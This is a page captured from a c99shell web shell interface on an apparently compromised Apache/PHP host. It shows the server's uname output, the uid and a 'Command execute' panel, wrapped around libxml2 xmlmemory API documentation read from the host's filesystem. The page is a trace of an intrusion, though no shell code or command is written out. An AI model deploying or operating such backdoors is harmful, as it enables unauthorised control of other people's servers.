Software: Apache. PHP/7.3.33 uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) Safe-mode: OFF (not secure) /usr/share/gtk-doc/html/libxml2/ drwxr-xr-x |
Viewing file: Select action/file-type:
xmlmemoryxmlmemory - interface for the memory allocator provides interfaces for the memory allocator, including debugging capabilities. Author(s): Daniel Veillard Synopsis#define xmlRealloc; #define xmlMalloc; #define xmlMallocAtomic; #define DEBUG_MEMORY; #define xmlMemStrdup; void * xmlMemRealloc (void * ptr, DescriptionDetailsMacro DEBUG_MEMORY#define DEBUG_MEMORY; DEBUG_MEMORY replaces the allocator with a collect and debug shell to the libc allocator. DEBUG_MEMORY should only be activated when debugging libxml i.e. if libxml has been configured with --with-debug-mem too. #define DEBUG_MEMORY_FREED #define DEBUG_MEMORY_LOCATION Function type xmlFreeFuncvoid xmlFreeFunc (void * mem) Signature for a free() implementation.
Function type xmlMallocFuncvoid * xmlMallocFunc (size_t size) Signature for a malloc() implementation.
Function type xmlReallocFuncvoid * xmlReallocFunc (void * mem, Signature for a realloc() implementation.
Function type xmlStrdupFuncchar * xmlStrdupFunc (const char * str) Signature for an strdup() implementation.
xmlCleanupMemory ()void xmlCleanupMemory (void) Free up all the memory allocated by the library for its own use. This should not be called by user level code. xmlGcMemGet ()int xmlGcMemGet (xmlFreeFunc * freeFunc, Provides the memory access functions set currently in use The mallocAtomicFunc is specialized for atomic block allocations (i.e. of areas useful for garbage collected memory allocators
xmlGcMemSetup ()int xmlGcMemSetup (xmlFreeFunc freeFunc, Override the default memory access functions with a new set This has to be called before any other libxml routines ! The mallocAtomicFunc is specialized for atomic block allocations (i.e. of areas useful for garbage collected memory allocators Should this be blocked if there was already some allocations done ?
xmlMallocAtomicLoc ()void * xmlMallocAtomicLoc (size_t size, a malloc() equivalent, with logging of the allocation info.
xmlMallocLoc ()void * xmlMallocLoc (size_t size, a malloc() equivalent, with logging of the allocation info.
xmlMemBlocks ()int xmlMemBlocks (void) Provides the number of memory areas currently allocated
xmlMemDisplay ()void xmlMemDisplay (FILE * fp) show in-extenso the memory blocks allocated
xmlMemDisplayLast ()void xmlMemDisplayLast (FILE * fp, the last nbBytes of memory allocated and not freed, useful for dumping the memory left allocated between two places at runtime.
xmlMemFree ()void xmlMemFree (void * ptr) a free() equivalent, with error checking.
xmlMemGet ()int xmlMemGet (xmlFreeFunc * freeFunc, Provides the memory access functions set currently in use
xmlMemMalloc ()void * xmlMemMalloc (size_t size) a malloc() equivalent, with logging of the allocation info.
xmlMemRealloc ()void * xmlMemRealloc (void * ptr, a realloc() equivalent, with logging of the allocation info.
xmlMemSetup ()int xmlMemSetup (xmlFreeFunc freeFunc, Override the default memory access functions with a new set This has to be called before any other libxml routines ! Should this be blocked if there was already some allocations done ?
xmlMemShow ()void xmlMemShow (FILE * fp, show a show display of the memory allocated, and dump the @nr last allocated areas which were not freed
xmlMemStrdupLoc ()char * xmlMemStrdupLoc (const char * str, a strdup() equivalent, with logging of the allocation info.
xmlMemUsed ()int xmlMemUsed (void) Provides the amount of memory currently allocated
xmlMemoryDump ()void xmlMemoryDump (void) Dump in-extenso the memory blocks allocated to the file .memorylist xmlMemoryStrdup ()char * xmlMemoryStrdup (const char * str) a strdup() equivalent, with logging of the allocation info.
xmlReallocLoc ()void * xmlReallocLoc (void * ptr, a realloc() equivalent, with logging of the allocation info.
|
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0125 ]-- |